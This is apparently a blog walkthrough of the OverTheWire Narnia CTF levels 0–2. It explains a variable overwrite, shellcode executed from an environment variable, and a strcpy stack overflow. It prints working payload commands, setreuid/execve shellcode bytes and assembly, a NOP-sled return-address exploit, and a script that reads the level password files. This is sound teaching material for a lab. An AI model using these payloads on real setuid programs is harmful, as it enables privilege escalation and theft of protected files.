Exploring Narnia CTF N0, N1 & N2 - OverTheWire
Narnia
Narnia is a CTF hosted on overthewire.org. It’s a beginner-level CTF that can warm you up for learning reverse engineering. This CTF focuses on 32-bit ELF binaries and hosts a total of 9 challenges. In this blog, I’ll be sharing my experience while solving narnia0
, narnia1
, and narnia2
, and I will continue to post more in the future.
This blog focuses on the methodology of approaching a CTF challenge and the brainstorming process involved in reaching a solution. These posts might also help you get started and get your hands dirty with reverse engineering.
Narnia 0
To log in to narnia0
, you can connect to the SSH service hosted on port 2226
at narnia.labs.overthewire.org
. Use the following command: ssh -p 2226 narnia0@narnia.labs.overthewire.org
The password is narnia0
. To log in to any level X, simply change the username from narnia0
to narniaX
.
Passwords for all the levels are stored in the /etc/narnia_pass/
directory, but they are only readable by the respective subsequent user.
For example, the narnia0
user cannot read the password for narnia1
.
Our goal in this level is to read the password for the narnia1
level, which is stored in the /etc/narnia_pass/narnia1
file.
To access the challenges of the narnia
CTF, go to the /narnia
directory.
In this level, we are logged in as narnia0
, and our challenge binary is located at /narnia/narnia0
. In this CTF, for every level, you also have access to its source code. We will first try to solve the challenge using just the binary, and if we need more hints, we’ll take a look at the narniax.c
source file.
All of these binaries are Setuid binaries, which, if exploited properly, will allow you to read the password file for the next level.
Using file
command you can check type of file.
Lets try executing ./narnia0
The highlighted section of the above image shows that this binary is asking for user input from stdin
and storing it in buf
.
In the image, you can see that ./narnia0
is trying to take some input from stdin
and then comparing the value of variable val
to 0xdeadbeef
.
User input is stored in the buf
variable.
Interesting.
If we can control or change the value of val
to 0xdeadbeef
, I guess we can proceed to the next execution steps or maybe even get access to the password file.
Generally, my approach is to try overflowing the input buffer whenever a binary is reading or storing a buffer from user input.
Let’s try giving a large input.
And it worked; we were able to overwrite the value of val
the variable to 0x42424242
, byte x42
is nothing but a characterB
in ASCII (refer this table). Now our goal should be to find exactly how many number of bytes or characters of B
we need to give to start overwriting variable val
memory. For now we can try the hit-and-trial method; keep increasing B
character 1 by 1 till you are overwriting val
.
The variable buf
is 20
bytes long, and if we give 24
bytes input, the last 4
bytes are overflowed and written to variable val
memory. If you found the size of this buffer manually by increasing 1 byte every time, best of luck. :( There are multiple ways of finding the buffer size. I can think of 2 as of now: open this program in gdb
or any disassembler to view assembly code and figure out the size of buf
by reading assembly code, or use python
or any other scripting language to generate inputs for you. I did use Python.
Cmd : python3 -c "import sys; sys.stdout.buffer.write(b'B'*24)" | ./narn ia0
By changing the value from 24 to 100 or 1000, you can generate long strings of length n
bytes. And then we can use the |
(pipe) operator to pass stdout
of the first command to stdin
of the second command. In this case, the first command is python
and the second command./narnia0
.
Before using any other function like print()
in Python or any other scripting language to generate input strings, do check the hexdump of your generated stdout
using xxd
or your fav tool, just to be sure that generated string is the same as what we are expecting.
In the image above, the first command generates the byte 0x90
using sys.stdout.buffer.write
, which produces the output as expected. However, in the second example, the byte 0x90
is treated as a Unicode character, and 0xc2
is prepended to every byte. It’s important to check the generated strings / payloads using any hexdump tool before using them in a binary.
Okay, okay, back to solving narnia0
.
Now we can control the value of val
, and we know that ./narnia0
expects the value of val
to be 0xdeadbeef
. Let’s try changing the last 4 bytes of our input to \xde\xad\xbe\xef
.
As shown in the image above, in the first command, we verified that our generated payload is correct. The last 4 bytes of our input are 0xdeadbeef
. But when we pass the same input to ./narnia0
, the variable val
is written as 0xefbeadde
, which is 0xdeadbeef
in reverse. But whyyyyyyyyyyy?
This happens because this Linux server, like most servers around the world, reads data in little-endian format. You can read more about endianness here. In short, we have to pass our payload in reverse order so that the machine can read it correctly.
The variable val
is now written with the correct bytes. Ideally, we should have received the password or a privileged shell after this.
This binary should have spawned a privileged shell. In this case, yes, it spawns a shell for us, but its stdin
gets closed immediately somehow (not sure how). Read this to understand why.
Now, there are two ways you can solve this problem:
The first one is easy: Save your payload to a file and use
cat
to pipe it to the binary.python3 -c "import sys; sys.stdout.buffer.write(b'B'*20+b'\xef\xbe\xad\xde')" > /tmp/narnia0_payload
cat /tmp/narnia0_payload - | /narnia/narnia0
The extra
-
in thecat
command above keeps the stdin open.The second way is to create a Python (or any other) script that executes the
/narnia/narnia0
process and passes the payload to itsstdin
. I created a Python script. It may not be perfect, but it served the purpose.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys
import subprocess
from time import sleep
from threading import Thread
px_path = '/narnia/narnia0'
px = subprocess.Popen(px_path.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE , bufsize=0)
#sleep(0.5)
print(px_path,"started with PID : ",px.pid)
def read_stdout():
sleep(1)
global px
it=0
while True:
op = px.stdout.readline()
if op == "" and px.poll() is not None:
break
if op:
print('pxout '+str(it)+':',op)
it=it+1
if it>10:
break
th = Thread(target=read_stdout,args=())
th.start()
inp_list = [b'B'*20+b'\xef\xbe\xad\xde'+b'\n' , b'cat /etc/narnia_pass/narnia*'+b'\n']
inp_it=0
for inp in inp_list:
sleep(0.5)
print('pxin '+str(inp_it)+':',inp)
px.stdin.write(inp)
px.stdin.flush()
inp_it=inp_it+1
th.join()
px.stdin.close()
px.wait()
#final read
stdout_final = px.stdout.read()
print('pxout:',stdout_final)
In the above code, the list inp_list
stores two inputs: the first is the payload, and the second is the command to read the password for narnia1
.
Great, we solved our very first RE challenge, narnia0
.
Narnia 1
Using the password we obtained in narnia0
, we can now log in as the user narnia1
and access the challenge at /narnia/narnia1
.
On executing this binary we get this message, looks like it is looking for environment variable EGG
and trying to execute it.
I created an environment variable EGG
with the value ABCD
. (Refer above image)
Okay, the string "ABCD"
or any other simple command doesn’t work here — interesting.
We can verify this using the ltrace
command.
So, ltrace
and strace
are very useful commands that we’ll be using. ltrace
shows all the library functions a program uses during execution, while strace
shows all the system calls made by the program during execution.
We can clearly see that the getenv()
library call is used to retrieve the contents of the EGG
variable, and then program executes it.
Let’s dig deeper and read the assembly code to understand what’s going on underneath.
I’ll be using gdb
, but you can use any tool like Ghidra
, radare2
, etc.
Lets disassemble the main
function.
In the assembly code above:
Section 1 checks whether the environment variable EGG
is set or not.
Section 2 runs if EGG
is set — it retrieves the value of EGG
using getenv()
, and then executes the content of EGG
using call eax
, where eax
holds the value of the EGG
variable.
If this GDB and assembly stuff is going a little over your head, pause here — take some time to read up and learn about assembly and GDB. It will be a great help on your reverse engineering journey. Later on, we’ll get into advanced disassemblers and debuggers, but for now we will be using gdb
.
From the disassembly above, it’s clear that the program is executing the contents of EGG
.
That means we need to write our first shellcode and pass it to EGG
, which will then be executed by the program /narnia/narnia1
.
So, what is shellcode?
It’s a piece of assembly code that, when executed, spawns a shell (usually /bin/sh
), although it can also be used to execute other commands.
The simplest shellcode to spawn a shell looks like this (though there might be even more simple versions available.
xor eax,eax
push eax
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb ; syscall 11 = execve
int 0x80
The above shellcode executes a syscall with the arguments execve("/bin//sh", ["/bin//sh"], NULL)
.
The second last line executes syscall 0xb
(which is 11
in decimal), and on an i386 system, this corresponds to execve
— SysCall Reference.
This assembly code can be translated into bytes using the Defuse.ca tool.
1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Lets save this shellcode in environment variable EGG
using command, export EGG=$(printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")
and then run the binary.
Congratulations!! We executed our first shellcode and got a shell — but wait, why is the id
command returning narnia1
? We were expecting a privileged shell, right?
Even though /narnia/narnia1
is a setuid binary, we need to explicitly call the function setreuid(geteuid(), geteuid())
before executing execve()
in order to get a privileged shell.
Referring to this syscall table, the syscall number for geteuid()
is 0x31
and for setreuid()
it’s 0x46
.
Since we already know how our execve("/bin//sh", ["/bin//sh"], NULL)
shellcode is formed, we can simply prepend the setreuid()
shellcode to it — or just search online for a ready-made setreuid
shellcode.
The following shellcode worked in this case:
export EGG=$(printf "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80")
That’s it — we got a privileged shell with narnia2
user access!
You can also try creating your own shellcode — it’s a really fun and insightful exercise. I created a shellcode that directly executes /bin/cat /etc/narnia/narnia2
after calling setreuid()
.
While this shellcode isn’t efficient in terms of byte length, but it presents a great learning opportunity. ``
0: 31 c0 xor eax,eax ; Set eax to 0
2: b0 31 mov al,0x31 ; Syscall number for geteuid()
4: cd 80 int 0x80 ; Software interrupt to invoke syscall
6: 89 c3 mov ebx,eax ; Move return val of geteuid to ebx
8: 89 c1 mov ecx,eax ; Move return val of geteuid to ecx
a: 31 c0 xor eax,eax ; Set eax to 0
c: b0 46 mov al,0x46 ; Syscall number for setreuid()
e: cd 80 int 0x80 ; Software interrupt to invoke syscall
10: 31 c0 xor eax,eax ; Set eax to 0
12: 99 cdq ; Set edx to 0; when eax is 0
13: 50 push eax ; Preparing string "/bin/cat\0"
14: 68 2f 63 61 74 push 0x7461632f
19: 68 2f 62 69 6e push 0x6e69622f
1e: 89 e3 mov ebx,esp ; Preparing array of char pointers
20: 50 push eax
21: 68 6e 69 61 32 push 0x3261696e ; Preparing string "/etc/narnia_pass/narnia2"
26: 68 2f 6e 61 72 push 0x72616e2f
2b: 68 70 61 73 73 push 0x73736170
30: 68 6e 69 61 5f push 0x5f61696e
35: 68 2f 6e 61 72 push 0x72616e2f
3a: 68 2f 65 74 63 push 0x6374652f
3f: 89 e1 mov ecx,esp
41: 50 push eax ; Setting up arguments for execve()
42: 51 push ecx ; ecx is array of char*
43: 53 push ebx ; ebx is path to binary
44: 89 e1 mov ecx,esp
46: b0 0b mov al,0xb ; Syscall number for execve()
48: cd 80 int 0x80 ; Software interrupt to invoke syscall
Try invoking this shellcode, export EGG=$(printf "\x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x32\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80")
Narnia 2
Log in as the narnia2
user using the password obtained in the previous narnia1
level.
Now, let’s try executing /narnia/narnia2
.
/narnia/narnia2
expects a command-line argument and prints it back on the screen. Let’s verify this using strace
and gdb
.
The above disassembly image shows 3 highlighted sections:
- The first section is the code that checks if any command-line argument is passed or not.
- The second section copies the command-line argument to a buffer of size
0x80
bytes. - The third section prints the copied buffer to
stdout
.
There is a buffer of 0x80
bytes that is written using the strcpy
function. User provided command-line argument is copied into this buffer. Since this buffer is user-controlled, this could potentially lead to a buffer overflow vulnerability. Let’s try passing a large string (more than 0x80
bytes) as the command-line argument.
First, we will verify our generated input using xxd
, and then pass it as a command-line argument. As expected, the program crashes, and we get a Segmentation fault
.
If we run the binary again with the same payload using strace
, we can see why we’re getting the segfault
.
Cmd : strace ./narnia2 $(python3 -c "import sys;sys.stdout.buffer.write(b'B'*0x90)")
We have overwritten the return address by overflowing the buffer. That’s why the program is trying to execute the content at address 0x42424242
. Obviously, there are no assembly instructions at that location, which leads to the segfault
.
This can be verified using gdb
. Simply start a gdb
session and step through the program, executing one instruction at a time, to understand the flow of execution.
Below is the screenshot of gdb
session landing into EIP = 0x42424242
In the above image, highlighted section 1 shows that we have run the program using the same argument as before, i.e., a string of 0x90
bytes. Highlighted section 2 shows that the EIP is pointing to 0x42424242
because we have overwritten the stack.
Great, we are able to crash this program. Now, let’s try to take control over this crash. We will try to control the EIP pointer by overwriting a custom value to the stack. If we can control the value of EIP, we can point the program to execute any part or function of this program.
We will try to fuzz the binary with different lengths to find the exact number of bytes needed to overwrite the return address. With the knowledge that the buffer is 0x80
bytes, we will try values greater than 0x80
.
In the above image, the first run with 0x80 + 4
bytes is not successful.
The second attempt with 0x84 + 4
bytes looks perfect — EIP is now 0x41414141
.
Let’s try subtracting and adding a few bytes to be sure.
The third attempt, decreasing by 1 byte, results in a bad EIP value.
The fourth attempt, increasing by 2 bytes, also results in a bad EIP value.
Hence, 0x84 + 4
bytes are perfect to overwrite the return address — those 4 bytes can be of our choice.
Since we can control the value of EIP, we can point it anywhere in code memory, and this binary will execute the assembly instructions present at that memory location.
We have two tasks to do: create and store our shellcode in memory, and set the return address to our stored shellcode.
In this scenario, the best place to store our shellcode is the input buffer itself. Since it has 0x80
bytes of buffer, it can easily store the shellcode.
Next, we need to find the address of the buffer, and then we can use this address to overwrite the stack.
Let’s create the shellcode. I will be using
/bin/cat
in combination with thesetreuid()
function, like we did in the last level. This time, instead of reading/etc/narnia_pass/narnia2
, we will read/etc/narnia_pass/narnia3
.\x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x33\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80
Let’s find the address of the buffer. We will be using GDB to find the address of the buffer.
The above image contains the disassembly of the main
function from the /narnia/narnia2
binary.
The highlighted section shows the strcpy
function, which copies the command line argument to the buffer.
If we set a breakpoint at address 0x080491b9
and check the stack memory, we can find the address of the buffer.
In the above image, after hitting the breakpoint, we can view the address of the buffer.
Now, let’s create our final shellcode.
As we know, we need to fill 0x84 + 4
bytes, where 0x84
bytes will be our shellcode and the remaining 4 bytes will be the address of the buffer.
The shellcode we created above is only 74 bytes, and the remaining 58 bytes can be filled with the 0x90
instruction. 0x90
is the NOP instruction, which does nothing and is harmless to use.
This will be our final command.
/narnia/narnia2 $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*58+b'\x31\xC0\xB0\x31\xCD\x80\x89\xC3\x89\xC1\x31\xC0\xB0\x46\xCD\x80\x31\xC0\x99\x50\x68\x2F\x63\x61\x74\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x6E\x69\x61\x33\x68\x2F\x6E\x61\x72\x68\x70\x61\x73\x73\x68\x6E\x69\x61\x5F\x68\x2F\x6E\x61\x72\x68\x2F\x65\x74\x63\x89\xE1\x50\x51\x53\x89\xE1\xB0\x0B\xCD\x80'+b'\xcc\xd5\xff\xff')")
Do remember that running a binary in gdb
and running it without gdb
will result in slight differences in memory layout. This means the address we found for our buffer using gdb
won’t be exactly the same, but may vary slightly.
So, there are fewer chances that our generated payload will work the first time. I tried running the above payload multiple times, adjusting the return address by a few bytes, and it finally worked.
As you can see in the above image, I tried subtracting a few bytes, and it finally worked at address 0xffffd59c
. You should try increasing and decreasing a few bytes from the address we found in gdb
. This is a hit-and-trial method, or, much better, try creating a Python script that generates memory addresses in your defined range — a nice exercise to try.
BTW, I did create a Python script! :)